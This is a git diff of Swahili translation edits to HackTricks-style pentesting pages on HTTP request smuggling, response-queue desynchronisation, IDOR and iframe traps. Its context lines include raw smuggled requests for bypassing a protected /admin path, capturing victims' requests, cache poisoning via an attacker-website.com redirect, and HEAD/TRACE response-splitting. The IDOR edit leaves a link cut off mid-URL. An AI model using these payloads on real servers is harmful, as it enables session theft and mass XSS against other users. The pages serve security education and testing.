shambulio lililofanikiwa. +- **Muda na Masharti ya Mbio:** Ombi la "kawaida", lililokusudiwa kugundua kuingilia kutoka kwa ombi la "shambulio", linashindana na maombi mengine ya programu yanayoendelea. Kwa hivyo, tuma ombi la "kawaida" mara moja baada ya ombi la "shambulio". Programu zenye shughuli nyingi zinaweza kuhitaji majaribio kadhaa kwa uthibitisho wa udhaifu. - **Changamoto za Usambazaji wa Mizigo:** Seva za mbele zinazofanya kazi kama wasambazaji wa mizigo zinaweza kugawa maombi kati ya mifumo mbalimbali ya nyuma. Ikiwa maombi ya "shambulio" na "ya kawaida" yanakutana kwenye mifumo tofauti, shambulio halitafanikiwa. Hali hii ya usambazaji wa mizigo inaweza kuhitaji majaribio kadhaa kuthibitisha udhaifu. - **Athari zisizokusudiwa kwa Watumiaji:** Ikiwa shambulio lako kwa bahati mbaya linaathiri ombi la mtumiaji mwingine (sio ombi la "kawaida" ulilotuma kwa ajili ya kugundua), hii inaonyesha kuwa shambulio lako limeathiri mtumiaji mwingine wa programu. Kujaribu mara kwa mara kunaweza kuharibu watumiaji wengine, hivyo inahitajika kuwa na mbinu ya tahadhari. @@ -282,7 +282,7 @@ Wakati wa kupima udhaifu wa request smuggling kwa kuingilia maombi mengine, kumb ### Kupita Usalama wa Seva za Mbele kupitia HTTP Request Smuggling -Wakati mwingine, proxies za mbele zinaweka hatua za usalama, zikichunguza maombi yanayoingia. Hata hivyo, hatua hizi zinaweza kupitishwa kwa kutumia HTTP Request Smuggling, kuruhusu ufikiaji usioidhinishwa kwa maeneo yaliyopigwa marufuku. Kwa mfano, kufikia `/admin` kunaweza kuwa marufuku nje, huku proxy ya mbele ikizuia juhudi kama hizo. Hata hivyo, proxy hii inaweza kukosa kukagua maombi yaliyojumuishwa ndani ya ombi la HTTP lililosafirishwa, na kuacha pengo la kupita marufuku hizi. +Wakati mwingine, proxies za mbele zinaweka hatua za usalama, zikichunguza maombi yanayoingia. Hata hivyo, hatua hizi zinaweza kupitishwa kwa kutumia HTTP Request Smuggling, kuruhusu ufikiaji usioidhinishwa kwa maeneo yaliyopigwa marufuku. Kwa mfano, kufikia `/admin` kunaweza kuwa marufuku nje, huku proxy ya mbele ikizuia juhudi kama hizo. Hata hivyo, proxy hii inaweza kukosa kuchunguza maombi yaliyojumuishwa ndani ya ombi la HTTP lililosafirishwa, na kuacha pengo la kupita marufuku hizi. Fikiria mifano ifuatayo inayoonyesha jinsi HTTP Request Smuggling inaweza kutumika kupita hatua za usalama za mbele, hasa ikilenga njia ya `/admin` ambayo kwa kawaida inalindwa na proxy ya mbele: @@ -344,11 +344,11 @@ Content-Length: 100 search= ``` -Katika muundo huu, vipengele vya ombi vinavyofuata vinajumuishwa baada ya `search=`, ambayo ni parameter inayojitokeza katika jibu. Hii itafichua vichwa vya habari vya ombi linalofuata. +Katika muundo huu, vipengele vya ombi vinavyofuata vinajumuishwa baada ya `search=`, ambayo ni parameter inayojitokeza katika jibu. Hii itafichua vichwa vya ombi vya baadaye. -Ni muhimu kulinganisha kichwa cha `Content-Length` cha ombi lililozungushwa na urefu halisi wa maudhui. Kuanzia na thamani ndogo na kuongezeka taratibu inashauriwa, kwani thamani ya chini sana itakata data iliyojitokeza, wakati thamani ya juu sana inaweza kusababisha ombi kufeli. +Ni muhimu kulinganisha kichwa cha `Content-Length` cha ombi lililozungukwa na urefu halisi wa maudhui. Kuanzia na thamani ndogo na kuongeza taratibu inashauriwa, kwani thamani ya chini sana itakata data iliyojitokeza, wakati thamani ya juu sana inaweza kusababisha ombi kufeli. -Tekniki hii pia inatumika katika muktadha wa udhaifu wa TE.CL, lakini ombi linapaswa kumalizika na `search=\r\n0`. Bila kujali wahusika wa newline, thamani zitajumuishwa kwenye parameter ya utafutaji. +Tekniki hii pia inatumika katika muktadha wa udhaifu wa TE.CL, lakini ombi linapaswa kumalizika na `search=\r\n0`. Bila kujali wahusika wa mistari mipya, thamani zitajumuishwa kwenye parameter ya utafutaji. Njia hii hasa inatumika kuelewa mabadiliko ya ombi yaliyofanywa na proxy ya mbele, kimsingi ikifanya uchunguzi wa kujiongoza. @@ -378,7 +378,7 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema ``` Katika hali hii, **parameta ya maoni** inakusudia kuhifadhi maudhui ndani ya sehemu ya maoni ya chapisho kwenye ukurasa unaopatikana kwa umma. Kwa hivyo, maudhui ya ombi linalofuata yataonekana kama maoni. -Hata hivyo, mbinu hii ina mipaka. Kwa ujumla, inakamata data tu hadi kwenye kipimo cha parameta kilichotumika katika ombi lililosafirishwa. Kwa uwasilishaji wa fomu iliyohifadhiwa kwenye URL, kipimo hiki ni herufi `&`. Hii ina maana kwamba maudhui yaliyokamatwa kutoka kwa ombi la mtumiaji waathirika yatakoma kwenye `&` ya kwanza, ambayo inaweza kuwa sehemu ya mfuatano wa swali. +Hata hivyo, mbinu hii ina mipaka. Kwa ujumla, inakamata data tu hadi kwenye kipimo cha parameta kilichotumika katika ombi lililosafirishwa. Kwa kuwasilisha fomu iliyowekwa URL, kipimo hiki ni herufi `&`. Hii ina maana kwamba maudhui yaliyokamatwa kutoka kwa ombi la mtumiaji waathirika yatakoma kwenye `&` ya kwanza, ambayo inaweza kuwa sehemu ya mfuatano wa swali. Zaidi ya hayo, inafaa kutaja kwamba njia hii pia inapatikana na udhaifu wa TE.CL. Katika hali kama hizo, ombi linapaswa kumalizika na `search=\r\n0`. Bila kujali wahusika wa mstari mpya, thamani zitajumuishwa kwenye parameta ya utafutaji. @@ -413,7 +413,7 @@ A= Hii payload imeundwa ili kutumia udhaifu kwa: 1. Kuanzisha ombi la `POST`, ambalo linaonekana kuwa la kawaida, lenye kichwa cha `Transfer-Encoding: chunked` kuashiria mwanzo wa smuggling. -2. Kufuatia na `0`, ikionyesha mwisho wa mwili wa ujumbe wa chunked. +2. Kufuatia na `0`, ikionyesha mwisho wa ujumbe wa chunked. 3. Kisha, ombi la smuggled `GET` linaanzishwa, ambapo kichwa cha `User-Agent` kinachomekwa na script, ``, ikichochea XSS wakati seva inashughulikia ombi hili linalofuata. Kwa kubadilisha `User-Agent` kupitia smuggling, payload inakwepa vikwazo vya kawaida vya ombi, hivyo kutumia udhaifu wa Reflected XSS kwa njia isiyo ya kawaida lakini yenye ufanisi. @@ -423,9 +423,9 @@ Kwa kubadilisha `User-Agent` kupitia smuggling, payload inakwepa vikwazo vya kaw > [!CAUTION] > Ikiwa maudhui ya mtumiaji yanarejelewa katika jibu lenye **`Content-type`** kama **`text/plain`**, kuzuia utekelezaji wa XSS. Ikiwa seva inasaidia **HTTP/0.9 inaweza kuwa inawezekana kupita hii**! -Toleo la HTTP/0.9 lilikuwa kabla ya 1.0 na linatumia tu vitenzi vya **GET** na **halijibu** na **headers**, bali mwili tu. +Toleo la HTTP/0.9 lilikuwa kabla ya 1.0 na linatumia tu **GET** verbs na **halijibu** na **headers**, bali tu mwili. -Katika [**hii andiko**](https://mizu.re/post/twisty-python), hii ilitumiwa vibaya na smuggling ya ombi na **nukta ya hatari ambayo itajibu na maudhui ya mtumiaji** ili smuggle ombi na HTTP/0.9. Kigezo ambacho kitarejelewa katika jibu kilikuwa na **jibu la uwongo la HTTP/1.1 (pamoja na headers na mwili)** hivyo jibu litakuwa na msimbo halali wa JS unaoweza kutekelezwa wenye `Content-Type` ya `text/html`. +Katika [**hii andiko**](https://mizu.re/post/twisty-python), hii ilitumiwa vibaya na smuggling ya ombi na **nukta ya hatari ambayo itajibu na maudhui ya mtumiaji** ili smuggle ombi na HTTP/0.9. Kigezo ambacho kitarejelewa katika jibu kilikuwa na **jibu la uwongo la HTTP/1.1 (pamoja na headers na mwili)** hivyo jibu litakuwa na msimbo wa JS unaoweza kutekelezwa wenye `Content-Type` wa `text/html`. ### Kutumia Mwelekeo wa Kwenye Tovuti kwa HTTP Request Smuggling @@ -453,7 +453,7 @@ GET /home HTTP/1.1 Host: attacker-website.com Foo: X ``` -Ombi hili lililofichwa linaweza kusababisha ombi la mtumiaji linalofuatia kushindwa kuelekezwa kwenye tovuti inayodhibitiwa na mshambuliaji: +Hii ombi lililofichwa linaweza kusababisha ombi la mtumiaji linalofuatia kushindwa kuelekezwa kwenye tovuti inayodhibitiwa na mshambuliaji: ``` GET /home HTTP/1.1 Host: attacker-website.com @@ -469,13 +469,13 @@ Katika hali hii, ombi la mtumiaji la faili la JavaScript linachukuliwa. Mshambul ### Kutumia Upoisonaji wa Kivinjari cha Mtandao kupitia HTTP Request Smuggling -Upoisonaji wa kivinjari cha mtandao unaweza kutekelezwa ikiwa sehemu yoyote ya **miundombinu ya mbele inahifadhi maudhui**, kawaida ili kuboresha utendaji. Kwa kubadilisha jibu la seva, inawezekana **kuponya kivinjari**. +Upoisonaji wa kivinjari cha mtandao unaweza kutekelezwa ikiwa sehemu yoyote ya **miundombinu ya mbele inahifadhi maudhui**, kawaida ili kuboresha utendaji. Kwa kubadilisha jibu la seva, inawezekana **kuweka sumu kwenye kivinjari**. -Awali, tuliona jinsi majibu ya seva yanaweza kubadilishwa ili kurudisha kosa la 404 (rejelea [Mifano ya Msingi](./#basic-examples)). Vivyo hivyo, inawezekana kumdanganya seva kutoa maudhui ya `/index.html` kama jibu la ombi la `/static/include.js`. Kwa hivyo, maudhui ya `/static/include.js` yanabadilishwa katika kivinjari na yale ya `/index.html`, na kufanya `/static/include.js` isiweze kupatikana kwa watumiaji, ambayo inaweza kusababisha Denial of Service (DoS). +Awali, tuliona jinsi majibu ya seva yanaweza kubadilishwa ili kurudisha kosa la 404 (rejelea [Mifano ya Msingi](./#basic-examples)). Vivyo hivyo, inawezekana kumdanganya seva kutoa maudhui ya `/index.html` kama jibu la ombi la `/static/include.js`. Kwa hivyo, maudhui ya `/static/include.js` yanabadilishwa kwenye kivinjari na yale ya `/index.html`, na kufanya `/static/include.js` isiweze kupatikana kwa watumiaji, ambayo inaweza kusababisha Denial of Service (DoS). -Teknolojia hii inakuwa na nguvu hasa ikiwa **udhaifu wa Open Redirect** unapatikana au ikiwa kuna **mwelekeo wa ndani kwa mwelekeo wazi**. Udhihirisho kama huu unaweza kutumika kubadilisha maudhui yaliyohifadhiwa ya `/static/include.js` na script chini ya udhibiti wa mshambuliaji, kwa msingi inaruhusu shambulio la Cross-Site Scripting (XSS) dhidi ya wateja wote wanaotafuta `/static/include.js` iliyosasishwa. +Teknolojia hii inakuwa na nguvu hasa ikiwa **udhaifu wa Open Redirect** unapatikana au ikiwa kuna **mwelekeo wa ndani kwa mwelekeo wazi**. Udhaifu kama huu unaweza kutumika kubadilisha maudhui yaliyohifadhiwa ya `/static/include.js` na script chini ya udhibiti wa mshambuliaji, hivyo kuwezesha shambulio la Cross-Site Scripting (XSS) kwa wateja wote wanaotafuta `/static/include.js` iliyosasishwa. -Hapa kuna mfano wa kutumia **upoisonaji wa kivinjari pamoja na mwelekeo wa ndani kwa mwelekeo wazi**. Lengo ni kubadilisha maudhui ya kivinjari ya `/static/include.js` ili kutoa msimbo wa JavaScript unaodhibitiwa na mshambuliaji: +Hapa chini kuna mfano wa kutumia **upoisonaji wa kivinjari pamoja na mwelekeo wa ndani kwa mwelekeo wazi**. Lengo ni kubadilisha maudhui ya kivinjari ya `/static/include.js` ili kutoa msimbo wa JavaScript unaodhibitiwa na mshambuliaji: ``` POST / HTTP/1.1 Host: vulnerable.net @@ -493,9 +493,9 @@ Content-Length: 10 x=1 ``` -Kumbuka ombi lililojumuishwa linalolenga `/post/next?postId=3`. Ombi hili litarejelewa kwa `/post?postId=4`, likitumia **thamani ya kichwa cha Host** kubaini kikoa. Kwa kubadilisha **kichwa cha Host**, mshambuliaji anaweza kurejelea ombi hilo kwa kikoa chao (**kuhamasisha kwenye tovuti kwa kuhamasisha wazi**). +Kumbuka ombi lililojumuishwa linalolenga `/post/next?postId=3`. Ombi hili litarejelewa kwa `/post?postId=4`, likitumia **thamani ya kichwa cha Host** kubaini kikoa. Kwa kubadilisha **kichwa cha Host**, mshambuliaji anaweza kurejelea ombi hilo kwa kikoa chao (**rejeleo la ndani kwa rejeleo wazi**). -Baada ya **kuvuta socket** kwa mafanikio, **ombio la GET** kwa `/static/include.js` linapaswa kuanzishwa. Ombi hili litakuwa na maambukizi kutoka kwa ombi la awali la **kuhamasisha kwenye tovuti kwa kuhamasisha wazi** na kuchukua maudhui ya skripti inayodhibitiwa na mshambuliaji. +Baada ya **kuharibu socket** kwa mafanikio, **ombio la GET** kwa `/static/include.js` linapaswa kuanzishwa. Ombi hili litakuwa na uchafu kutoka kwa ombi la awali la **rejeleo la ndani kwa rejeleo wazi** na kuchukua maudhui ya skripti inayodhibitiwa na mshambuliaji. Baadaye, ombi lolote kwa `/static/include.js` litatoa maudhui yaliyohifadhiwa ya skripti ya mshambuliaji, kwa ufanisi kuanzisha shambulio kubwa la XSS. @@ -546,7 +546,7 @@ Jibu hili litatumwa kwa ombi linalofuata kupitia muunganisho, hivyo hili linawez Endelea kufuata [**hiki chapisho**](https://portswigger.net/research/trace-desync-attack) kinapendekeza njia nyingine ya kutumia mbinu ya TRACE. Kama ilivyotajwa, kuficha ombi la HEAD na ombi la TRACE inawezekana **kudhibiti baadhi ya data inayorejelewa** katika jibu la ombi la HEAD. Urefu wa mwili wa ombi la HEAD kimsingi unatajwa katika kichwa cha Content-Length na unaundwa na jibu la ombi la TRACE. -Hivyo, wazo jipya lingeweza kuwa, kwa kujua Content-Length hii na data iliyotolewa katika jibu la TRACE, inawezekana kufanya jibu la TRACE liwe na jibu halali la HTTP baada ya byte ya mwisho ya Content-Length, ikiruhusu mshambuliaji kudhibiti kabisa ombi kwa jibu linalofuata (ambalo linaweza kutumika kufanya uharibifu wa cache). +Hivyo, wazo jipya lingeweza kuwa, kujua Content-Length hii na data iliyotolewa katika jibu la TRACE, inawezekana kufanya jibu la TRACE liwe na jibu halali la HTTP baada ya byte ya mwisho ya Content-Length, ikiruhusu mshambuliaji kudhibiti kabisa ombi kwa jibu linalofuata (ambalo linaweza kutumika kufanya uharibifu wa cache). Mfano: ``` @@ -567,7 +567,7 @@ Content-Length: 44\r\n \r\n ``` -Itazalisha majibu haya (angalia jinsi jibu la HEAD lina Content-Length ikifanya jibu la TRACE kuwa sehemu ya mwili wa HEAD na mara tu Content-Length ya HEAD inapoisha, jibu halali la HTTP linapaswa kuingizwa): +Itazalisha majibu haya (angalia jinsi jibu la HEAD lina Content-Length ikifanya jibu la TRACE kuwa sehemu ya mwili wa HEAD na mara Content-Length ya HEAD inapomalizika, jibu halali la HTTP linapaswa kuingizwa): ``` HTTP/1.1 200 OK Content-Type: text/html @@ -610,7 +610,7 @@ browser-http-request-smuggling.md request-smuggling-in-http-2-downgrades.md {{#endref}} -## Turbo intruder scripts +## Skripti za Turbo intruder ### CL.TE diff --git a/src/pentesting-web/http-response-smuggling-desync.md b/src/pentesting-web/http-response-smuggling-desync.md index 865c3e129..f1c76d585 100644 --- a/src/pentesting-web/http-response-smuggling-desync.md +++ b/src/pentesting-web/http-response-smuggling-desync.md @@ -8,23 +8,23 @@ Kwanza kabisa, teknolojia hii **inatumia udhaifu wa HTTP Request Smuggling**, hivyo unahitaji kujua ni nini hicho: -**Tofauti** **kuu** kati ya teknolojia hii na HTTP Request smuggling ya kawaida ni kwamba **badala** ya **kushambulia** **ombio** la **mhasiriwa** **kwa kuongeza kiambatisho** kwake, tutakuwa **tukivuja au kubadilisha jibu ambalo mhasiriwa anapata**. Hii inafanywa kwa, badala ya kutuma ombi 1 na nusu ili kutumia HTTP Request smuggling, **tutatumia ombi 2 kamili ili kuondoa usawa wa majibu ya proxies**. +**Tofauti** **kuu** kati ya teknolojia hii na HTTP Request smuggling ya kawaida ni kwamba **badala** ya **kushambulia** **ombile** la **mhasiriwa** **kwa kuongeza kiambatisho** kwake, tutakuwa **tukivuja au kubadilisha jibu ambalo mhasiriwa anapata**. Hii inafanywa kwa, badala ya kutuma ombi 1 na nusu ili kutumia HTTP Request smuggling, **tutatumia maombi 2 kamili ili kuondoa usawa wa majibu ya proxies**. -Hii ni kwa sababu tutakuwa na uwezo wa **kuondoa usawa wa foleni ya majibu** ili **jibu** kutoka kwa **ombio** la **halali** la **mhasiriwa litumwe kwa mshambuliaji**, au kwa **kuingiza maudhui yanayodhibitiwa na mshambuliaji katika jibu kwa mhasiriwa**. +Hii ni kwa sababu tutakuwa na uwezo wa **kuondoa usawa wa foleni ya majibu** ili **jibu** kutoka kwa **ombile** la **halali** la **mhasiriwa litumwe kwa mshambuliaji**, au kwa **kuingiza maudhui yanayodhibitiwa na mshambuliaji katika jibu kwa mhasiriwa**. ### HTTP Pipeline Desync -HTTP/1.1 inaruhusu kuomba **rasilimali tofauti bila kuhitaji kusubiri zilizopita**. Hivyo, ikiwa kuna **proxy** katikati, ni jukumu la proxies **kuweka usawa wa maombi yaliyotumwa kwa backend na majibu yanayotoka humo**. +HTTP/1.1 inaruhusu kuomba **rasilimali tofauti bila kuhitaji kusubiri zilizopita**. Hivyo, ikiwa kuna **proxy** katikati, ni jukumu la proxies **kuweka usawa wa maombi yaliyotumwa kwa backend na majibu yanayotoka huko**. -Hata hivyo, kuna tatizo la kuondoa usawa wa foleni ya majibu. Ikiwa mshambuliaji atatuma shambulio la HTTP Response smuggling na majibu kwa **ombio la awali na lile lililovuja yanajibiwa mara moja**, jibu lililovuja halitaingizwa ndani ya foleni ya jibu la mhasiriwa bali litakataliwa kama kosa. +Hata hivyo, kuna tatizo la kuondoa usawa wa foleni ya majibu. Ikiwa mshambuliaji atatuma shambulio la HTTP Response smuggling na majibu kwa **ombile la awali na lile lililovuja yanajibiwa mara moja**, jibu lililovuja halitaingizwa ndani ya foleni ya jibu la mhasiriwa bali litakataliwa kama kosa. ![](<../images/image (633).png>) -Hivyo, inahitajika kwamba **ombio lililovuja** **lichukue muda mrefu zaidi kutekelezwa** ndani ya seva ya nyuma. Hivyo, wakati ombi lililovuja linaposhughulikiwa, mawasiliano na mshambuliaji yatakuwa yameisha. +Hivyo, inahitajika kwamba **ombile lililovuja** **lichukue muda mrefu zaidi kutekelezwa** ndani ya seva ya nyuma. Hivyo, wakati ombi lililovuja linaposhughulikiwa, mawasiliano na mshambuliaji yatakuwa yameisha. -Ikiwa katika hali hii maalum **mhasiriwa ametuma ombi** na **ombio lililovuja linajibiwa kabla** ya ombi halali, **jibu lililovuja litatumwa kwa mhasiriwa**. Hivyo, mshambuliaji atakuwa **akidhibiti ombi "lililofanywa" na mhasiriwa**. +Ikiwa katika hali hii maalum **mhasiriwa ametuma ombi** na **ombile lililovuja linajibiwa kabla** ya ombi halali, **jibu lililovuja litatumwa kwa mhasiriwa**. Hivyo, mshambuliaji atakuwa **akidhibiti ombi "lililofanywa" na mhasiriwa**. -Zaidi ya hayo, ikiwa **mshambuliaji atafanya ombi** na **jibu halali** kwa **ombio** la **mhasiriwa** linajibiwa **kabla** ya ombi la mshambuliaji. **Jibu kwa mhasiriwa litatumwa kwa mshambuliaji**, **kuchukua** jibu kwa mhasiriwa (ambalo linaweza kuwa na mfano wa kichwa **Set-Cookie**). +Zaidi ya hayo, ikiwa **mshambuliaji kisha atafanya ombi** na **jibu halali** kwa **ombile** la **mhasiriwa linajibiwa** **kabla** ya ombi la mshambuliaji. **Jibu kwa mhasiriwa litatumwa kwa mshambuliaji**, **kuchukua** jibu kwa mhasiriwa (ambalo linaweza kuwa na mfano wa kichwa **Set-Cookie**). ![](<../images/image (1020).png>) @@ -40,9 +40,9 @@ Mbali na kuwa na uwezo wa **kusambaza kwa urahisi majibu kumi** kati ya watumiaj Kama ilivyoelezwa hapo awali, ili kutumia teknolojia hii, inahitajika kwamba **ujumbe wa kwanza ulioingizwa** ndani ya seva **uchukue muda mwingi kutekelezwa**. -Hii **ombio inayochukua muda** inatosha ikiwa tunataka tu **kujaribu kuiba jibu la mhasiriwa.** Lakini ikiwa unataka kufanya exploit ngumu zaidi hii itakuwa muundo wa kawaida kwa exploit. +Hii **ombile linalochukua muda** ni ya kutosha ikiwa tunataka tu **kujaribu kuiba jibu la mhasiriwa.** Lakini ikiwa unataka kufanya exploit ngumu zaidi hii itakuwa muundo wa kawaida kwa exploit. -Kwanza kabisa **ombio la awali** linalotumia **HTTP** **Request** **smuggling**, kisha **ombio linalochukua muda** na kisha **ombio 1 au zaidi** ambayo majibu yake yatatumwa kwa mhasiriwa. +Kwanza kabisa **ombile la awali** likitumia **HTTP** **Request** **smuggling**, kisha **ombile linalochukua muda** na kisha **ombile 1 au zaidi** ambayo majibu yake yatatumwa kwa mhasiriwa. ## Abusing HTTP Response Queue Desynchronisation @@ -50,33 +50,33 @@ Kwanza kabisa **ombio la awali** linalotumia **HTTP** **Request** **smuggling**, Kama ilivyo na payloads za HTTP Request Smuggling zinazojulikana, unaweza **kuiba ombi la mhasiriwa** kwa tofauti moja muhimu: Katika kesi hii unahitaji tu **maudhui ya kutumwa kuakisi katika jibu**, **hakuna hifadhi ya kudumu** inahitajika. -Kwanza, mshambuliaji anatumia payload inayojumuisha **ombio la mwisho la POST lenye kiambatisho kilichoakisiwa** mwishoni na Content-Length kubwa. +Kwanza, mshambuliaji anatumia payload inayojumuisha **ombile la mwisho la POST lenye kiambatisho kilichoakisiwa** mwishoni na Content-Length kubwa. ![](<../images/image (1053).png>) -Kisha, mara tu **ombio la awali** (bluu) liliposhughulikiwa na **wakati** ombi **lililolala** linaposhughulikiwa (njano) ombi **linalofika kutoka kwa mhasiriwa** litakuwa **limeongezwa kwenye foleni mara tu baada ya kiambatisho kilichoakisiwa**: +Kisha, mara tu **ombile la awali** (bluu) liliposhughulikiwa na **wakati** **ombile la usingizi** linaposhughulikiwa (njano) **ombile linalofika kutoka kwa mhasiriwa** litakuwa **limeongezwa kwenye foleni mara tu baada ya kiambatisho kilichoakisiwa**: ![](<../images/image (794).png>) -Kisha, **mhasiriwa** atapokea **jibu** kwa ombi lililolala na ikiwa wakati huo **mshambuliaji** **alituma** **ombio** **nyingine**, **jibu kutoka kwa ombi la maudhui yaliyoakisiwa litatumwa kwake**. +Kisha, **mhasiriwa** atapokea **jibu** kwa **ombile la usingizi** na ikiwa wakati huo **mshambuliaji** **alituma** **ombile** **lingine**, **jibu kutoka kwa ombi la maudhui yaliyoakisiwa litatumwa kwake**. ## Response Desynchronisation -Hadi sasa, tumefundishwa jinsi ya kutumia shambulio la HTTP Request Smuggling ili **kudhibiti** **ombio** **ambalo** **jibu** ambalo **mteja** atakuwa **akipokea** na jinsi unaweza kisha **kuiba jibu ambalo lilikuwa linakusudiwa kwa mhasiriwa**. +Hadi sasa, tumefundishwa jinsi ya kutumia shambulio la HTTP Request Smuggling ili **kudhibiti** **ombile** **ambalo** **jibu** ambalo **mteja** atakuwa **akipokea** na jinsi unaweza kisha **kuiba jibu ambalo lilikuwa limetengwa kwa mhasiriwa**. Lakini bado inawezekana **kuondoa usawa hata** zaidi majibu. -Kuna maombi ya kuvutia kama **HEAD** ambayo yameelezwa kutokuwa na **maudhui yoyote ndani ya mwili wa majibu** na ambayo yanapaswa (lazima) **kujumuisha Content-Length** ya ombi kama **kama ingekuwa ombi la GET**. +Kuna maombi ya kuvutia kama **HEAD** ambayo yameainishwa kutokuwa na **maudhui yoyote ndani ya mwili wa majibu** na ambayo yanapaswa (lazima) **kujumuisha Content-Length** ya ombi kama **kama ingekuwa ombi la GET**. Hivyo, ikiwa mshambuliaji **anaingiza** ombi la **HEAD**, kama katika picha hizi: ![](<../images/image (1107).png>) -Kisha, **mara tu ombi la buluu linapojibiwa kwa mshambuliaji**, ombi la mhasiriwa litaingizwa kwenye foleni: +Kisha, **mara tu ombi la buluu linapojibiwa kwa mshambuliaji**, ombi linalofuata la mhasiriwa litakuwa limeingizwa kwenye foleni: ![](<../images/image (999).png>) -Kisha, **mhasiriwa** atapokea **jibu** kutoka kwa **HEAD** ombi, ambalo **litakuwa na Content-Length lakini hakuna maudhui kabisa**. Hivyo, proxy **haitatuma jibu hili** kwa mhasiriwa, bali itangojea **maudhui**, ambayo kwa kweli itakuwa **jibu kwa ombi la njano** (pia lililoingizwa na mshambuliaji): +Kisha, **mhasiriwa** atapokea **jibu** kutoka kwa **HEAD** ombi, ambalo **litakuwa na Content-Length lakini hakuna maudhui kabisa**. Hivyo, proxy **haitatuma jibu hili** kwa mhasiriwa, bali itasubiri **maudhui**, ambayo kwa kweli yatakuwa **jibu kwa ombi la njano** (pia lililoingizwa na mshambuliaji): ![](<../images/image (735).png>) @@ -88,13 +88,13 @@ Kufuata mfano wa awali, ukijua kwamba unaweza **kudhibiti mwili** wa ombi ambalo ### Cache Poisoning -Kutatiza shambulio la awali lililozungumziwa la desynchronisation ya jibu la Content Confusion, **ikiwa cache inahifadhi jibu kwa ombi lililofanywa na mhasiriwa na jibu hili ni la kuingizwa linalosababisha XSS, basi cache inakuwa na sumu**. +Kutumia shambulio la Content Confusion lililozungumziwa hapo awali, **ikiwa cache inahifadhi jibu kwa ombi lililofanywa na mhasiriwa na jibu hili ni la kuingizwa linalosababisha XSS, basi cache inakuwa na sumu**. Ombi la uhalifu likijumuisha payload ya XSS: ![](<../images/image (614).png>) -Jibu la uhalifu kwa mhasiriwa ambalo lina kichwa kinachoashiria kwa cache kuhifadhi jibu: +Jibu la uhalifu kwa mhasiriwa ambalo lina kichwa kinachoelekeza kwenye cache kuhifadhi jibu: ![](<../images/image (566).png>) @@ -109,7 +109,7 @@ Shambulio hili ni sawa na la awali, lakini **badala ya kuingiza payload ndani ya ### Response Splitting -**Lengo** la shambulio hili ni kutumia tena **desynchronisation** ya **jibu** ili **kufanya proxy itume jibu 100% lililotengenezwa na mshambuliaji**. +**Lengo** la shambulio hili ni kutumia tena **kuondoa usawa wa majibu** ili **kufanya proxy itume jibu 100% lililotengenezwa na mshambuliaji**. Ili kufikia hili, mshambuliaji anahitaji kupata mwisho wa programu ya wavuti ambayo **inaakisi baadhi ya thamani ndani ya jibu** na **ajue urefu wa maudhui ya jibu la HEAD**. @@ -117,16 +117,16 @@ Atatuma **exploit** kama: ![](<../images/image (911).png>) -Baada ya ombi la kwanza kutatuliwa na kutumwa nyuma kwa mshambuliaji, **ombio la mhasiriwa linaongezwa kwenye foleni**: +Baada ya ombi la kwanza kutatuliwa na kutumwa kwa mshambuliaji, **ombile la mhasiriwa linaongezwa kwenye foleni**: ![](<../images/image (737).png>) -Mhasiriwa atapokea kama jibu **jibu la HEAD + maudhui ya jibu la ombi la pili (linalojumuisha sehemu ya data iliyorejelewa):** +Mhasiriwa atapokea kama jibu **jibu la HEAD + maudhui ya jibu la ombi la pili (linalojumuisha sehemu ya data iliyoakisiwa):** ![](<../images/image (356).png>) -Hata hivyo, angalia jinsi **data iliyorejelewa ilikuwa na ukubwa kulingana na Content-Length** ya **HEAD** jibu ambayo **ilitoa jibu halali la HTTP katika foleni ya majibu**. +Hata hivyo, angalia jinsi **data iliyoakisiwa ilikuwa na ukubwa kulingana na Content-Length** ya **HEAD** jibu ambayo **ilijenga jibu halali la HTTP katika foleni ya majibu**. -Hivyo, **ombio la pili la mhasiriwa** litakuwa **linapokea** kama **jibu kitu kilichotengenezwa kabisa na mshambuliaji**. Kwa kuwa jibu limeundwa kabisa na mshambuliaji anaweza pia **kufanya proxy ihifadhi jibu**. +Hivyo, **ombile linalofuata la mhasiriwa wa pili** litakuwa **likipokea** kama **jibu kitu kilichotengenezwa kabisa na mshambuliaji**. Kwa kuwa jibu limeundwa kabisa na mshambuliaji anaweza pia **kufanya proxy ihifadhi jibu**. {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/idor.md b/src/pentesting-web/idor.md index 7a6878578..3207b0304 100644 --- a/src/pentesting-web/idor.md +++ b/src/pentesting-web/idor.md @@ -1,5 +1,3 @@ {{#include ../banners/hacktricks-training.md}} -**Angalia chapisho: [https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)** - -{{#include ../banners/hacktricks-training.md}} +**Angalia chapisho: [https://medium.com diff --git a/src/pentesting-web/iframe-traps.md b/src/pentesting-web/iframe-traps.md index ee0a34abf..785fe0711 100644 --- a/src/pentesting-web/iframe-traps.md +++ b/src/pentesting-web/iframe-traps.md @@ -8,7 +8,7 @@ Hii njia ya kutumia XSS kupitia iframes kuiba taarifa kutoka kwa mtumiaji anayes Shambulio linaanza katika ukurasa ulio hatarini kwa XSS ambapo inawezekana kufanya **waathirika wasiondoke kwenye XSS** kwa kuwafanya **wasafiri ndani ya iframe** inayochukua sehemu yote ya programu ya wavuti. -Shambulio la XSS kimsingi litapakia ukurasa wa wavuti ndani ya iframe kwa 100% ya skrini. Hivyo, mwathirika **hatagundua yuko ndani ya iframe**. Kisha, ikiwa mwathirika anasafiri kwenye ukurasa kwa kubofya viungo ndani ya iframe (ndani ya wavuti), atakuwa **anasafiri ndani ya iframe** na JS isiyo na mipaka ikipora taarifa kutoka kwenye safari hii. +Shambulio la XSS kimsingi litapakia ukurasa wa wavuti ndani ya iframe katika 100% ya skrini. Hivyo, waathirika **hawataona yuko ndani ya iframe**. Kisha, ikiwa waathirika atasafiri kwenye ukurasa kwa kubofya viungo ndani ya iframe (ndani ya wavuti), atakuwa **akifanya safari ndani ya iframe** na JS isiyo na mipaka inayopakia ikiba taarifa kutoka kwa safari hii. Zaidi ya hayo, ili kufanya iwe halisi zaidi, inawezekana kutumia baadhi ya **wasikilizaji** kuangalia wakati iframe inabadilisha eneo la ukurasa, na kusasisha URL ya kivinjari na maeneo hayo ambayo mtumiaji anadhani anasafiri kwenye kurasa akitumia kivinjari. @@ -16,8 +16,8 @@ Zaidi ya hayo, ili kufanya iwe halisi zaidi, inawezekana kutumia baadhi ya **was

